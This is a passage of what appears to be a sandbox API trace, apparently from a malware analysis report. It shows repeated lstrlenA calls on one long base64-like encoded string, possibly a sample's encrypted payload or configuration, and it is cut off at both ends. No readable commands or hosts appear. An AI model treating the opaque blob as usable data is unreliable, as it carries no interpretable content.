6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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